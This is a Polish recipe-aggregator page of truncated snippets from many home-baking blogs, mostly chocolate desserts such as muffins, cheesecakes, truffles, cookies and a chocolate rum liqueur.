roku, a nie tylko dzisiaj. A takich słodkości, do codziennej kawki :) SKŁADNIKI: 100 g wiśni Amarena w syropie 1 łyżka syropu z wiśni 20 ml wiśniówki 200 g gorzkiej czekolady (70 % kakao) 150 g masła 180 g cukru pudru 100 g zmielonych migdałów  A jak to zrobić: Wiśnie Amarena dobrze odsączyć z zalewy i drobno pokroić. Czekoladę rozpuścić(...)kąpieli wodnej, dodać syrop z wiśni i odstawić do przestygnięcia. Masło i cukier utrzeć na gładki krem i dodawać do niego stopniowo płynną czekoladę, wiśniówkę, połowę zmielonych migdałów i wiśnie, dokładnie wymieszać przy pomocy łyżki. Krem schłodzić w lodówce przez 3-4 godziny. Ze schłodzonego kremu formować kulki, a następnie obtoczyć je w migdałach. Migdały można wcześniej uprażyć na suchej

Kuchnia w opałach
MUFFINKI Z MAKIEM I KREMEM Z RICOTTY 95

naturalnego jogurtu 1/2 szkl mleka 1/3 szkl oleju 1/2 szkl mielonego maku 2 łyżeczki kandyzowanej skórki pomarańczowej 3-4 krople aromatu arakowego   krem 250 g ricotty 50 g czekolady mlecznej 50 g czekolady białej A jak to zrobić: Przygotować dwie miski. W jednej wymieszać wszystkie składniki suche, a w drugiej wszystkie składniki mokre. Połączyć zawartość obu misek, wlewając mokre(...)wymieszć. Blaszkę do muffinów wyłożyć papilotkami, które wypełnić ciastem do 3/4 wysokości. Włożyć do nagrzanego piekarnika 180 stopni i piec około 20 minut. W tym czasie przygotować krem. Obie czekolady rozpuścić w kąpieli wodnej, w osobnych miseczkach. Do każdej z nich dodać po połowie ricotty i dokładnie wymieszać na gładki krem. Przełożyć masę do rękawa cukierniczego (po łyżce na przemian

Kuchnia w opałach
POPĘKANE CIASTECZKA CYTRYNOWE 998

aromatyczne wnętrze. Bardzo przypadły mi do gustu, choć już myślę jak by smakowały w wersji pomarańczowej :) Z pewnością niedługo się przekonam ;) SKŁADNIKI:  na 12 sztuk 50g białej czekolady 2 łyżki masła 180g mąki 80g białego cukru 1 jajko starta skórka z 1 cytryny 1 łyżka soku z cytryny  1/2 łyżeczki proszku do pieczenia szczypta soli cukier puder(...)obtaczania  A jak to zrobić: W kąpieli wodnej rozpuścić masło z czekoladą. Jajko utrzeć z cukrem na gładką masę, dodając szczyptę soli. Do masy jajecznej wlać rozpuszczone masło z czekoladą, sok i skórkę z cytryny, cały czas miksując miksując. Zmniejszyć obroty miksera i wsypać przesianą mąkę z proszkiem do pieczenia. Miksować, aż składniki dobrze się połączą, a ciasto będzie

Kuchnia w opałach
TORT BEZOWY Z KARMELIZOWANĄ GRUSZKĄ I GRANATEM 144

szkl cukru 1 łyżka mąki ziemniaczanej 1 łyżka octu z białego wina   na krem 300 ml śmietanki 30 % 2 łyżki cukru pudru 250 g mascarpone 50 g startej czekolady   dodatkowo 3 łyżki cukru 1 łyżka masła 1 łyżeczka cynamonu 2 gruszki ziarna granatu A jak to zrobić: Białka ubić na sztywno, ze szczyptą soli. Stopniowo dodawać cukier ciągle(...)stopni i piec przez 25 minut. Po upieczeniu wyłączyć piekarnik, uchylić lekko drzwiczki pozostawić do wystygnięcia. Śmietanę ubić na sztywno z cukrem pudrem. Dodać mascarpone i dokładnie zmiksować. Wsypać czekoladę i wymieszać krem łyżką. Blaty bezy przesmarować kremem i posypać ziarnami granatu i ułożyć jeden na drugim. Na patelnię wsypać cukier i poczekać, aż się rozpuści. Dodać masło i wymieszać

Kuchnia w opałach
Muffinki z białym serem 156

rozpuszczonego, przestudzonego masła szklanka mleka 2 jajka Masa serowa: 250g sera półtłustego lub tłustego  1 żółtko  1 opakowanie cukru waniliowego Polewa (można pominąć): odrobina mleka 3/4 tabliczki czekolady 1. Przygotowujemy dwie miski. W jednej mieszamy ze sobą mokre składniki na ciasto (mąkę, cukier, sól, proszek do pieczenia), w drugiej suche (masło, mleko, jajka). 2. Do składników suchych wlewamy(...)przykrywamy niewielką ilością ciasta. 5. Pieczemy przez około 20-25 minut w temperaturze 170 stopni. 6. Przygotowujemy polewę: do małego rondelka wlewamy 3-4 łyżki mleka, w których rozpuszczamy czekoladę. Jeśli polewa jest zbyt gęsta, dolewamy mleko. Gorącą czekoladą polewamy ostudzone muffinki

Szefowa kuchni
Ciasteczka Pieguski 212

szklanki mąki tortowej łyżeczka proszku do pieczenia szczypta soli 200 g masła 2/3 szklanki cukru 1 jajko 1 łyżka cukru waniliowego 100 g kropelek czekoladowych 50 g czekolady gorzkiej Czekoladę posiekać w drobną kostkę. Miękkie masło utrzeć z cukrami.  Następnie dodać jajko i delikatnie połączyć. W osobnej misce wymieszać mąkę z solą i proszkiem do pieczenia.  Tak przygotowaną(...)mąkę dosypać do masy maślanej i wymieszać ręcznie. Dodajemy czekoladę i połowę kropelek. Z powstałego ciasta formujemy wałek, który kroimy na paski grubości 1 cm.  Układamy na wyłożonej papierem blaszce, z wierzchu dekorujemy pozostałą częścią kropelek. Pieczemy w temperaturze 170 stopni z termoobiegiem przez ok 15 minut. SMACZNEGO

kulinarnyswiatdomi
Kruche cynamonowe ciasteczka 170

ciasteczek/: 230 g mąki pszennej 180 g zimnego masła 90 g cukru pudru 1 płaska łyżka cynamonu 40 g skrobi ziemniaczanej szczypta soli  Polewa: 100 g mlecznej czekolady 2 łyżki masła Wykonanie: Mąkę, cukier puder, cynamon, skrobię i sól wysypać na stolnicę, Dodać masło i szybko posiekać je nożem. Zagnieść ciasto, owinąć w folię spożywczą i włożyć do lodówki(...)pomocą wykrawaczy o ulubionym kształcie. Ułożyć na papierze do pieczenia. Piec w temperaturze 180ºC przez 12 - 15 minut - warto uważać, bo mogą się szybko przypalić. Odłożyć do ostudzenia. Czekoladę roztopić w kąpieli wodnej z 2 łyżkami masła. Ciasteczka maczać w czekoladzie i odkładać na kratkę do zastygnięcia polewy

Pasja Smaku
Ciasto czekoladowo-imbirowe 172

Naszym zdaniem rewelacja...posmak imbiru, kawałki czekolady...mniam:) Składniki; 2/3 kostki masła, 1 szklanka cukru, 1/4 szklanki miodu, 2 jajka, 2 łyżeczki mielonego imbiru, 1 łyżeczka proszku do pieczenia, 1/4 łyżeczki sody, 2 gorzkie czekolady, 2 szklanki mąki, 1 łyżeczka ekstraktu z wanilii szczypta soli Wykonanie; Piekarnik nagrzewamy do 180 stopni. Miksujemy masło, cukier i miód razem.Dodajemy jajka i wanilie.Suche(...)składniki mieszamy razem, dodajemy posiekaną czekoladę. Mieszamy suche z mokrymi składnikami. Ciasto jest bardzo gęste. Przekładamy na foremkę i pieczemy około 30 minut. do suchego patyczka

Anioły w kuchni
Brownie bez glutenu 141

family:Calibri; mso-hansi-theme-font:minor-latin;} Mocno czekoladowe, wilgotne, sycące, z małą zawartością tłuszczu. Dla wszystkich tych, którzy nie tolerują lub unikają świadomie glutenu. 200 g gorzkiej czekolady 150 g brązowego drobnego cukru 80 g masła 2 jajka 30 g skrobi kukurydzianej 1 łyżka kakao 100 g posiekanych orzechów (ja użyłam laskowych) Czekoladę połamać na małe kawałki, masło

maniapieczenia
Kakaowe muffiny z czekoladą i borówkami. 171

coś dla nich dobrego przygotował. Stanęło na muffinach. Czego użyłem? -dwa kubki przesianej mąki TYP405-450 -4 czubate łyżeczki kakao -pół tabliczki gorzkiej, posiekanej na duże kawałki czekolady -dwie garści borówek -dwie łyżeczki proszku do pieczenia -3/4 kubka mleka -3/4 kubka cukru trzcinowego -dwa, dobrze napowietrzone, rozbełtane jajka -150 gram, wystudzonego, rozpuszczonego masła -ziarenka z 1/2 laski wanilii(...)wanilią - mieszamy, nie ubijamy. Suche składniki dobrze mieszamy, dodajemy masła z mlekiem i jajkami. Mieszamy łyżką lub mikserem, ale na najwolniejszych obrotach, tak, by ciasto pozostało grudkowate. Dodajemy czekoladę - mieszamy; czynność powtarzamy po dodaniu borówek. Ciasto wykładamy do kokilek nasmarowanych tłuszczem lub wyłożonych papilotkami do 2/3 wysokości. Pieczemy 18-20 minut w 190 stopniach. Możemy ozdobić muffinki. Ja użyłem roztopionej

BaRepas
Sernik z musem malinowym 291

Użyłam okrągłej formy o średnicy 28 cm. Składniki powinny być w temperaturze pokojowej. Mus malinowy: 100 g malin cukier do smaku (około 1 łyżki) Czekoladowy spód: 80 g gorzkiej czekolady 80 g masła 50 g cukru 1 jajko 40 g mąki Masa serowa: 500 g sera twarogowego trzykrotnie mielonego 500 g sera mascarpone 100 ml śmietany kremówki 36% 4 jajka(...)czubate łyżki mąki ziemniaczanej 1 szklanka cukru 2 łyżeczki esencji waniliowej Maliny (świeże lub mrożone) zblendować z cukrem. Połamaną w kostki czekoladę rozpuścić a następnie odstawić do przestygnięcia. Utrzeć masło z cukrem na jasną masę. Dodać jedno ubite wcześniej jajko (ważne aby było w temperaturze pokojowej). Miksować chwilę, po czym dodać mąkę a na koniec roztopioną czekoladę. Wszystko delikatnie miksować

Bullio
Ciasto czekoladowo-bananowe 3814

Biszkopt przełożony kremem budyniowym z bananami. Na wierzchu bita śmietana posypana startą gorzką czekoladą. Biszkopt czekoladowy: 6 jajek 150 g cukru 1 łyżeczka ekstraktu z wanilii 120 g mąki pszennej 50 g kakao łyżeczka masła (do wysmarowania tortownicy) Masa budyniowa: 1/3 szklanki cukru 1 budyń śmietankowy (60 g) 5 żółtek 500 ml mleka 100 g masła Na wierzch(...)śmietany 30% 2 łyżki cukru pudru 50 g gorzkiej czekolady Dodatkowo: 3 banany Najpierw należy przygotować biszkopt. Jajka powinny być w temperaturze pokojowej. Oddzielić białka od żółtek. Żółtka ubić z cukrem pudrem na jasną masę. Dodać mąkę, ekstrakt waniliowy oraz kakao i dalej miksować do uzyskania jednolitej konsystencji. Białka ubić na pianę. Delikatnie wymieszać szpatułką z przygotowaną masą. Wylać

Bullio
Ciasteczka z kropeczką 178

Małe słodkości, któż ich nie lubi, te mają aromatyczny pomarańczowy smak a w połączeniu z warstwą czekolady znikają w oka mgnieniu :) Składniki: - 125 gram masła - 320 g mąki pszennej - 100 g cukru kryształu - 1 jajko - 1 łyżeczka proszku do pieczenia - skórka i sok z jednej pomarańczy - 1/2 tabliczki ciemnej czekolady Przygotowanie: Masło ucieramy z cukrem. Następnie dodajemy jajko(...)wymieszaną z proszkiem do pieczenia. Przygotowaną masę wkładamy do małych foremek na ciasteczka lub formujemy kuleczki. Pieczemy około 20 minut w 180 C. Zimne ciasteczka obtaczamy w czekoladzie

Zainspirowana w kuchni
Lody z serka i mango z kardamonową nutką 128

Pyszne domowe lody na bazie serka śmietankowego i mango, delikatnie pachnące kardamonem i obtoczone w białej czekoladzie. Składniki: 2 dojrzałe mango 150 g śmietankowego serka Almette 200 g śmietany kremówki 1/3 szklanki mleka ½ szklanki cukru 4 żółtka 1 łyżka cukru pudru sok z ½ limonki szczypta kardamonu 1 biała czekolada Przygotowanie: Do rondelka wlać śmietankę, mleko i zagotować. Żółtka ubić(...)limonki i kardamon. Dokładnie wymieszać i przełożyć na wierzch zamrożonych lodów. Wstawić do zamrażarki. Gotowe lody wyjąć i ściągnąć folię. Po około 10 minutach obtoczyć w startej białej czekoladzie, lekko dociskając. Smacznego

Oryginalny smak
Sernik z musem wiśniowym z białą czekoladą 180

jedną propozycję, która zdobędzie serce nie jednego twardziela . Sernik z musem wiśniowym , masa serowa nie jest za słodka a to dzięki limonce , gdyż mus wiśniowy z białą czekoladą wypełnia całą słodycz. Składniki na spód: paczka herbatników 220 g  50 g masła lub margaryny Herbatniki zmielić na piasek , dodać rozpuszczony tłuszcz, wymieszać , wyłożyć obłożoną papierem do pieczenia tortownicę(...)wystudzić. Składniki na mus: 300 g wiśni (mogą być mrożone) sok z połówki cytryny 1/2 szklanki cukru 3 łyżki żelatyny 0, 5 l śmietanki kremówki 200 g białej czekolady Do garnka wkładamy wiśnie ( jeżeli używamy mrożonych dajemy zamrożone) sok z połówki cytryny i cukier, gotujemy do rozpuszczenia aż wiśnie puszczą soki. Żelatynę zalewamy do zakrycia , odstawiamy

Wypieki Uli
Pischinger, czyli wafle z masą kajmakową, porzeczkową i gorzką czekoladą. 140

kajmaku i porzeczek, więc wymyśliłem sobie, że zrobię pischingera, czeli wafle przekładane masami. Co jest potrzebne? -wafle, andruty suche -masa kajmakowa -masa porzeczkowa -mix orzechów zgniecionych w moździerzu -gorzka czekolada z kąpieli wodnej -płatki migdałowe Kajmak i masę porzeczkową kopiuje z postu o torcie. Kajmak Mleko w puszce, słodzone, skondensowane gotujemy na wolnym ogniu ok 2,5h. Studzimy, otwieramy puszkę(...)porzeczkowa szklankę czarnych porzeczek podsmażamy na maśle, dodajemy żelatynę; można zastąpić dżemem porzeczkowym. Przekładamy wafel kolejno. Warstwa kajmaku, porzeczki, kajmaku i tu posypujemy orzechami, znowu porzeczka. Na górze ozdabiamy czekoladą gorzką z kąpieli wodnej za pomocą trzepaczki; trzepaczkę zatapiamy w czekoladzie i szybkimi ruchami tworzymy nieregularne wzorki. Pycha

BaRepas
Muffinki tiramisu 152

Wiktorii Jóźwik . Przepis poniższy jest wiernym odwzorowaniem, za wyjątkiem ilości, bo ja zrobiłam 12 małych muffinek, a nie 8 dużych. A na koniec zamiast polewy z nutellii, wykorzystałam potartą czekoladę. Link do oryginalnego przepisu. PRZEPIS: SKŁADNIKI NA CIASTO: 2 jajka 110 g masła 100 g cukru 110 g mąki pszennej łyżka kakao 2 łyżki kawy rozpuszczalnej 4 łyżki mleka płaska(...)proszku do pieczenia płaska łyżeczka sody   SKŁADNIKI NA KREM: 200 ml śmietany 30% lub 36% 2 łyżeczki cukru 1 opakowanie cukru waniliowego 1 opakowanie śmietan-fix nieco startej czekolady do posypania PRZYGOTOWANIE: Wszystkie składniki na ciasto muszą mieć temperaturę pokojową. Kawę rozpuszczalną wsypać do mleka i dobrze wymieszać, tak żeby się całkowicie rozpuściła. Piekarnik nagrzać do temperatury

Passions hobbies life
Muffinki czekoladowe z niespodzianką 134

łyżeczki sody szczypta soli 2 jajka 150 ml mleka Nadzienie i polewa: 1 opakowanie budyniu śmietankowego lub waniliowego 400 ml mleka 500 g mrożonych czerwonych porzeczek 1 tabliczka gorzkiej czekolady  3 łyżki kakao 3 łyżki cukru pudru Przygotowanie:   Czerwone porzeczki należy odmrozić z znacznym wyprzedzeniem, tak żeby wyciekł z nich sok.  Do przygotowania budyniu należy użyć mniej(...)nałożyć najpierw trochę ciasta, później nadzienie i znowu ciasto, rozsmarowując je tak, żeby nie było widać nadzienia. Piec na środkowej półce piekarnika około 25 minut. Polewa: Do rondelka włożyć czekoladę i wlać cały sok z porzeczek. Rozpuścić na małym ogniu. Następnie dodać kakao i cukier puder. Wymieszać tak, żeby nie było grudek i do gotującej się masy dodać czerwone porzeczki

Passions hobbies life
Nalewka czekoladowa na rumie 160

Ulubiona nalewka mojej rodziny. Z tego też powodu szybko znika ;-) Przepis nie jest mój własny, pochodzi z książki Złota księga nalewek.  SKŁADNIKI 30 dag gorzkiej czekolady 15 dag cukru 100 ml wody 1 l rumu WYKONANIE Czekoladę rozpuścić w kąpieli wodnej i przelać do słoja lub innego naczynia, które da się szczelnie zamknąć. Dodać rum i wymieszać. Tak przygotowaną(...)syropem, dobrze wymieszać i przelać do butelek. Nalewka musi dojrzewać w ciemnym, chłodnym miejscu przez dwa miesiące.   Uwagi: Kiedy pierwszy raz robiłam nalewkę czekoladową, to za słabo rozpuściłam czekoladę, przez co cała nalewka po dwóch miesiącach leżakowania zgęstniała mi do tego stopnia, że przypominała raczej gęsty krem, niż nalewkę. W takiej sytuacji nie ma co panikować, wystarczy dolać nieco

Passions hobbies life
Ciasto kokosowe 336

wódki marmolada wieloowocowa lub inna Na krem budyniowy:   1 opakowanie budyniu waniliowego 450 ml mleka 200 g masła 50 g cukru pudru Na polewę czekoladową: 1,5 gorzkiej czekolady 150-200 ml śmietany 30% WYKONANIE Wszystkie wymienione składniki muszą być w temperaturze pokojowej. Biszkopt: Piekarnik nagrzać do temperatury 180°C, tortownicę lub blaszkę 25x40 wysmarować lekko olejem i posypać(...)kożuch). Miękkie masło utrzeć z przesianym przez sitko cukrem pudrem na puszysty krem. Stopniowo dodawać ostudzony budyń ciągle miksując (nie na najwyższych obrotach, bo budyń będzie się rozpryskiwał). Polewa: Czekoladę i śmietankę umieścić w garnuszku. Rozpuścić na małym ogniu ciągle mieszając. Ostudzić. Wykonanie: Gotowy biszkopt przekroić na pół, posmarować marmoladą. Na dolny wyłożyć równomiernie masę kokosową. Nałożyć górny biszkopt. Górny

Passions hobbies life
Kruche ciasteczka "ala pieguski" 119

Przepis z książki "Przepisy na cały rok". Moje ciasteczka były nieco mniej czekoladowe, bo z braku czasu dodałam tylko pół szklanki drobno połamanej czekolady. Ale i tak są smaczne i już prawie wszystkie zniknęły :-) SKŁADNIKI 1,5 szklanki mąki uniwersalnej (napowietrzonej) 1 kostka margaryny 1/3 szklanki brązowego cukru trzcinowego 1/4 szklanki cukru 1 łyżeczka proszku do pieczenia 1/2 łyżeczki ekstraktu(...)waniliowego 1 jajko 1 szklanka gorzkiej czekolady, drobno połamanej masło do posmarowania blaszek WYKONANIE Margarynę rozpuścić i zostawić do ostudzenia. Piekarnik rozgrzać do temperatury  190°C , blaszki posmarować masłem. Do miski dodać wszystkie składniki i zmiksować. Ciasto nakładać łyżką na blaszkę bardzo małymi porcjami zachowując duże odstępy (można z ciasta zrobić małe kulki i kłaść na blaszkę, bo ciasto

Passions hobbies life
Czekoladowe ciasteczka z masłem orzechowym 144

Nieco inne ciasteczka niż wszystkie. Przede wszystkim są bardziej "mokre" i sycące. Idealnie nadają się do popołudniowej kawy lub herbaty. Zmodyfikowana wersja według TEGO przepisu. SKŁADNIKI   1 czekolada gorzka 1/2 szklanki masła orzechowego 1 łyżka masła 1/4 szklanki cukru pudru 1/4 szklanki brązowego cukru trzcinowego 1 jajko 1/2 łyżeczki ekstraktu waniliowego 3/4 szklanki mąki pszennej 1/2 łyżeczki sody PRZYGOTOWANIE(...)Piekarnik nagrzać do temperatury 180°C, blaszkę wyłożyć papierem do pieczenia. Czekoladę zmielić w blenderze. Do miski włożyć masło orzechowe, masło w temperaturze pokojowej, cukier puder i cukier trzcinowy. Utrzeć mikserem na gładką masę i nadal miksując dodać jajko i ekstrakt waniliowy. Do masy stopniowo przesiać mąkę wymieszaną z sodą. Na koniec dodać czekoladę (zmiksować na wolnych obrotach). Z powstałej

Passions hobbies life
Lamingtony – Kokosanki 129

Lamingtony, znane również jako kokosanki – tym oto łatwym, prostym i pysznym wypiekiem będę Was dzisiaj częstować. Lamingtons – tradycyjny australijski deser w postaci biszkoptów w kształcie prostopadłościanów, polanych czekoladą i posypanych wiórkami kokosowymi. Mój biszkopt jest lekko miodowy, czekolada jest domową polewą a kostki biszkoptu możecie obtoczyć nie tylko w kokosie ale również w zmielonych orzechach włoskich, w zmielonych migdałach(...)lubić, a co najważniejsze wypiek zaliczany jest do tych niesprawiających kłopotów. Obtaczanie biszkoptowych kostek było nie lada zabawą dla mojego syna, a tyle co się palców ‚brudnych’ od czekolady „naoblizywał” to jego Polecam Składniki na biszkopt: 380 g mąki pszennej 200 g cukru pudru 2 jajka 50 g margaryny 125 ml mleka 3 łyżki miodu 1 łyżeczka proszku

Made By Mom And Son
Placek włoski. 448

łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 3 całe jajka szczypta soli 1/4 szklanki posiekanych orzechów włoskich 3/4 szklanki bakalii innych (rodzynki migdały, skórka z cytryny) Polewa 1 czekolada mleczna (100g) 3 łyżki mleka 1 łyżka masła Dekoracja: orzechy włoskie Wykonanie: Jabłka obrać i pokroić w kostkę. Pokrojone jabłka wsypać do miski, zasypać cukrem,dodać posiekane orzechy, bakalie wymieszać(...)dobrze wymieszać. Blaszkę 32x20cm (mierzona od spodu) wyłożyć papierem do pieczenia  i wyłożyć na nią  ciasto. Piec w piekarniku w 180 stopniach C około 35 min. Polewa Czekoladę rozpuścić w kąpieli wodnej (zagotować w garnku wodę, na nim postawić miskę. Do miski wrzucić czekoladę i czekać aż się rozpuści) dodać mleko,masło. Wszystkie składniki połączyć i polać ciasto

O kuchni z uczuciem
Serrnik z musem czekoladowym 651

łyżki likieru Amaretto lub innego aromatu (można tez wykorzystać np. aromat waniliowy do ciast lub zwykły cukier wanilinowy) Mus czekoladowy 300 ml śmietanki kremówki 36% ok. 200-250 g czekolady gorzkiej (można dodać pół na pół z czekoaldy mlecznejj) rum do smaku (opcjonalnie) Przygotowanie   1. Sernik. Piekarnik nagrzać do 170 stopni. Dno tortownicy wyło ż yć krążkiem z papieru(...)wstawic do lodówki bez obręczy (by sernik mogł całkowicie odparować). 2. Mus czekoladowy. Śmietankę podgrzać i zdjąć z gazu gdy zacznie wrzeć. Do śmietanki wrzucić połamaną na mniejsze kawałki czekoladę, energicznie mieszać do momentu rozpuszczenia czekolady. Ostudzić, schować do lodówki na ok. 30 minut (aż masa zgęstnieje). Nastepnie ubijać przez ok. 3-4 minuty aż masa nieco zjaśnieje, można dolać

coolinarnastrefa.blogspot.com
Tarta z jabłkami pod śmietanowo – bananową kołderką 166

lodówki,    przeglądałam szafki i jest - upiekę tartę. Przygotowałam sobie kartkę i długopis, bo wiedziałam, że będzie to moja improwizacja. I się nie pomyliłam. Do ciasta dodałam, czekoladę i sok z mandarynki. A pomysł na wierzch tarty przyszedł w trakcie jej pieczenia. Powiem szczerze, że sama byłam zaskoczona. Zaraz po upieczeniu ukroiłam sobie kawałek i    okazało się(...)Składniki: ciasto na formę (ok. 26 cm) 250 g mąki, 120 g masła, 2 kopiaste łyżki cukry pudru, 1 żółtko, szczypta soli, 20 g startej gorzkiej czekolady, sok z jednej mandarynki, warstwa wierzchnia: 400 g startych jabłek (na grubych oczkach), 3 łyżki migdałów słupki, sok z 1 cytryny, ½ łyżeczki cynamonu, 1 żółtko, 1 całe jajko, 1 duży dojrzały banan

Moniki Smakołyki
"FIT-owe" trufle owsiano-śliwkowe 212

której to znajdziecie wiele ciekawych propozycji na odchudzone desery. Polecam ! Składniki: ( na 6-7 sztuk ) * 80 g śliwek suszonych * 7 płaskich łyżek płatków owsianych górskich * 50 g czekolady gorzkiej Wykonanie: Śliwki zalać wrzątkiem, odstawić na 10 minut - odcedzić. Płatki wsypać na patelnię, prażyć, aż  staną się chrupki. UWAGA - nie spalić płatków ! Czekoladę połamać i rozpuścić w kąpieli wodnej. Śliwki(...)czekoladę przełożyć do niedużego naczynia, np szerokiego kubka - zmiksować blenderem. Dodać 6 łyżek płatków owsianych - raz jeszcze zmiksować, rozdrabniając płatki. Powstałą masę wstawić do lodówki. Gdy masa zgęstnieje, czyli po około 20-30 minutach - formować, nieduże kuleczki. Każda truflę obtoczyć w pozostałych płatkach owsianych.  Gotowe pralinki wstawić do lodówki, do czasu całkowitego zastygnięcia ... oczywiście jeśli uda Wam się oprzeć

kolorowotorcikowo
Tarta czekoladowa 181

mój pomysł na słodką walentynkę :-)  Wybrałam mocno czekoladową tartę, bo jak wiadomo CZEKOLADA to najlepszy afrodyzjak :D Przepis pochodzi z książeczki  "Czekoladowe radości" składniki: 1,5 szklanki mąki pszennej 0,5 kostki schłodzonego masła ( ja dałam 150 g) 3 łyżki cukru pudru 3 łyżki kakao 1 ugotowane żółtko 1/2 szklanki bitej śmietany ( do ozdoby - ja nie korzystałam) krem(...)tabliczki czekolady deserowej ( ja dałam mleczną) 1 szklanka śmietanki 30% 1/4 szklanki mleka 2 jajka 3 łyżki cukru pudru Sposób przygotowania: Schłodzone masło posiekać ,  dodać przesianą mąkę , cukier puder , kakao  i rozgniecione żółtko , zagnieść ciasto .  Zawinąć je w folie i włożyć do lodówki na 30 minut. Schłodzone ciasto rozwałkować , wyłożyć nim dno i boki formy do tarty

Cukier&Puder
Domowa nutella 169

Cześć! Wypróbowałam ten przepis z ciekawości czy będzie to w ogóle przypominać smak nutelli i wyszło całkiem dobre choć na pewno nie smakuje dokładnie jak nutella. czekolada mleczna lub gorzka 100g ok 100g orzechów laskowych Orzechy rozkładamy na blachę wyłożoną papierem i wstawiamy do piekarnika nagrzanego na 180 stopni na 10 minut.  Następnie oczyszczamy z łupin i blendujemy(...)czasie rozpuszczamy w kąpieli wodnej czekoladę.  Wrzucamy zblendowane orzechy do czekolady mieszamy i gotowe! Buziaki

Cukier&Puder
Serniko-brownie 162

rzeczy dziś mam dla Was połączenie dwóch ciast ,które uwielbiam czyli sernika i brownie i na dodatek truskawek mniami!  Składniki na masę czekoladową: 100 g czekolady mlecznej 200 g masła 1 szklanka cukru pudru 3 jaja 3 łyżki kakao 3/4 szklanki mąki pszennej składniki na masę sernikową:   500 g sera trzykrotnie mielonego   2 jaja 1/2 szklanki(...)cukru pudru 1 opakowanie cukru wanilinowego 1 łyżka mąki pszennej 400 g truskawek Czekoladę rozpuszczamy  w  kąpieli wodnej.  Miękkie masło i szklankę cukru pudru ucieramy na puch. Wbijamy kolejno po jednym jajku, miksując na gładką masę. Dodajemy rozpuszczoną czekoladę, wsypujemy mąkę i kakao, miksujemy. Blachę wykładamy papierem do pieczenia. Piekarnik nagrzewamy do 170 stopni. 2/3 masy czekoladowej

Cukier&Puder
Babeczki – Muffiny z kremem mascarpone 304

suchych”, nie odwrotnie. Składniki „suche”: 2 szklanki mąki pszennej ½ szklanki cukru 1 łyżka proszku do pieczenia 3 łyżeczki cukru wanilinowego szczypta soli opcjonalnie: pół tabliczki czekolady gorzkiej lub mlecznej Składniki „mokre”: 1 szklanka mleka 1 duże jajko // 2 małe jajka ½ szklanki oleju roślinnego Składniki na krem: opakowanie serka mascarpone opakowanie śmietanki 36% 3 łyżeczki cukru(...)drugiej „mokre”. Do pierwszej miski wsypujemy więc mąkę, cukier, proszek do pieczenia, cukier wanilinowy, sól i wszystko dokładnie ze sobą mieszamy. Warto dodać również posiekaną wcześniej czekoladę! Do drugiej miski wlewamy olej, mleko, wbijamy jajka i mieszamy. Następnie przelewamy powstałą mieszankę do miski ze składnikami „suchymi” i mieszamy do połączenia składników. Nie należy całości przemieszać. Jeżeli

PastelFood
Współpraca z HARVEST foods :) 193

kombinacje smakowe granoli, orzechową, owocową czy Delux. Co my znalazłyśmy w swojej paczuszce? Brownie klasyczne Ciasteczko owsiane "Multifruit" Ciasteczko owsiane z kawałkami jabłka Ciasteczko "Dekadent" Ciasteczko czekoladowe z kawałkami czekolady Ciasteczko maślane z migdałami Ciasteczko "Chocolate Chip" Pierwsze wrażenie? Wow, jak pięknie wyglądają :) Na prawdę są wykonane bardzo estetycznie (w końcu to "ręczna robota"), bardzo precyzyjnie, bowiem znajdziemy na nich(...)słodkie :) Dla nas może aż za słodkie, ale to dlatego, że zazwyczaj nie przesładzamy naszych wypieków i staramy się dawać słodyczy jak najmniej. Ale wracając do brownie, pięknie pachnie czekoladą, jest lekko wilgotne i co najgorsze.....szybko znika :D Nam smakowało bardzo i nawet Tata się załapał i pochwalił :)     Następnie skosztowałyśmy ciasteczko "Chocolate Chip". Było ono bardzo kruche

Zdrowie na języku :P
Pudding chia na mleku kokosowym z gorzką czekoladą :) 94

jest zazwyczaj przy wykorzystaniu normalnego mleka. Ale efekt końcowy jak najbardziej zadowalający :) Jest kokos - to musi być pysznie! :D Ogólnie - bardzo kokosowo, kremowo z przełamującym smakiem gorzkiej czekolady :) Składniki: 2 łyżki nasion chia Skworcu (20 g) 180 ml mleka kokosowego 1/3 łyżeczki stewi starta kostka gorzkiej czekolady  Do słoiczka wsypać nasiona chia, zalać mlekiem kokosowym, wstrząsnąć. Po 10 minutach(...)ponownie energicznie wstrząsnąć, daje nam to pewność, że nasionka się nie skleją :) Wstawić do lodówki na kilka godzin, a najlepiej na całą noc. Przed podaniem posypać startą czekoladą :) Nasionka chia w sklepie Skworcu tylko

Zdrowie na języku :P
Miodowe ciasto czekoladowe z kawałkami czekolady :) 119

kuchni :D Nie mogąc im odmówić - powstało pyszne, ciężkie , a zarazem miękkie i rozpływające się w ustach czekoladowe ciasto, z delikatnym posmakiem pysznego miodu lipowego i kawałkami gorzkiej czekolady :D Znajdzie się też mąka żytnia oraz banan :) Składniki: 150 g mąki żytniej 150 g mąki pszennej 140 g banana 1,5 łyżeczki proszku do pieczenia  3 łyżki kakao(...)jajka 400 ml mleka 4 łyżki miodu lipowego pół tabliczki gorzkiej czekolady 2 łyżki oleju rzepakowego Przygotowanie: Banan zblenduj na mus. Do miski przełóż wszystkie składniki, także mus z banana i miksuj do uzyskania gładkiej, jednolitej konsystencji. Następnie dodaj posiekaną czekoladę, wymieszaj. Blaszkę wyłóż papierem do pieczenie, wylej masę i wstaw do nagrzanego na 180*C piekarnika, piekąc

Zdrowie na języku :P
Princessa 132

wymieszać łyżką.  Upiec biszkopt ;)  Składniki: 1 kg jabłek 1/2 szklanki cukru 2 zielone galaretki 1/2 l śmietany 30 % 3 łyżki cukru 3 princessy kokosowe 1/2 białej czekolady Przygotowanie: Upieczony biszkopt przekroić na pół ;) Jabłka obrać i pokroić w drobną kostkę ;) A to wymaga troszkę czasu ;) 1/2 szklanki cukru rozpuścić w 1/2 szklanki gorącej wody i zalać nią pokrojone(...)Wlać ją do jabłek. I czekać aż zacznie tężeć... Gdy masa jabłkowa zacznie tężeć, przełożyć nią biszkopt.  Śmietanę ubić z 3 łyżkami cukru, a następnie dodać rozpuszczoną białą czekoladę ( w kąpieli wodnej).  Do ubitej śmietany dodajemy starte princessy i mieszamy łyżką.  Całość wykładamy na ciasto i dekorujemy startą ciemną czekoladą;) Pychota

Lawendowe Niebo
Tort waflowy 349

